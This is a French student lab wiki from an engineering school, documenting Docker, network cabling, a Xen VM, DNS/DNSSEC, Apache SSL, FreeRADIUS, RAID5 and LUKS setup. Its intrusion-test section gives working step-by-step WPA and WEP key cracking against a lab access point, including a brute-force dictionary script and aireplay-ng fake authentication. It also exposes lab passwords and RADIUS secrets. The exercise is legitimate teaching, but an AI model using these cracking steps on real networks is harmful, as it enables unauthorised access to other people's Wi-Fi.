Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
Et enfin, nous lançons le service freeradius :&lt;br /&gt;
  $ service freeradius restart&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :&lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_group17 group radius_group17&lt;br /&gt;
 aaa group server radius radius_group17&lt;br /&gt;
 server 193.48.57.183 auth-port 1812 acct-port 1813&lt;br /&gt;
 radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 dot11 ssid Hercule&lt;br /&gt;
 vlan 17&lt;br /&gt;
 authentication open eap eap_group17&lt;br /&gt;
 authentication network-eap eap_group17&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 ssid Hercule&lt;br /&gt;
 encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0.17&lt;br /&gt;
 encapsulation dot1Q 17&lt;br /&gt;
 bridge-group 17&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.1 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48921</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48921"/>
				<updated>2018-12-17T17:58:21Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 5. Tests d'intrusion */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
